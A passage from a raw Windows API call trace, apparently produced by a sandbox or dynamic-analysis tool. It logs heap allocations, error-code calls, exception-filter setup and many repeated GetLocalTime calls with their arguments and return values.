GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] SetLastError (dwErrCode=0x0) [0100.881] GetLastError () returned 0x0 [0100.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x9c) returned 0x81fc08 [0100.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1f) returned 0x81de68 [0100.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x36) returned 0x820f60 [0100.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x37) returned 0x820fa0 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x3c) returned 0x81fcb0 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x31) returned 0x81fcf8 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x17) returned 0x81fd38 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x24) returned 0x81fd58 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x14) returned 0x81fd88 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xd) returned 0x81fda8 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x25) returned 0x81fdc0 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x39) returned 0x81fdf0 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x18) returned 0x81fe38 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x17) returned 0x81fe58 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xe) returned 0x81fe78 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x69) returned 0x81fe90 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x3e) returned 0x81ff08 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1b) returned 0x81de90 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1d) returned 0x81deb8 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x48) returned 0x81ff50 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x12) returned 0x81ffa0 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x18) returned 0x81ffc0 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1b) returned 0x81dee0 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x24) returned 0x81ffe0 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x29) returned 0x820010 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1e) returned 0x81df08 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x41) returned 0x820048 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x17) returned 0x820098 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x14) returned 0x8200b8 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xf) returned 0x8200d8 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x16) returned 0x8200f0 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x2a) returned 0x820110 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x29) returned 0x820148 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x15) returned 0x820180 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1e) returned 0x81df30 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x2a) returned 0x8201a0 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x12) returned 0x8201d8 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x18) returned 0x8201f8 [0100.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x46) returned 0x820218 [0100.882] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x820718 | out: hHeap=0x810000) returned 1 [0100.883] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x80) returned 0x820268 [0100.883] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0100.883] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x800) returned 0x8202f0 [0100.883] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0100.883] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x409ec9) returned 0x0 [0100.884] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x820268) returned 0x80 [0100.884] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x820268) returned 0x80 [0100.884] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x820268) returned 0x80 [0100.885] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x820268) returned 0x80 [0100.885] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.886] GetLastError () returned 0x0 [0100.886] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.887] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.888] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.889] GetLastError () returned 0x0 [0100.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: 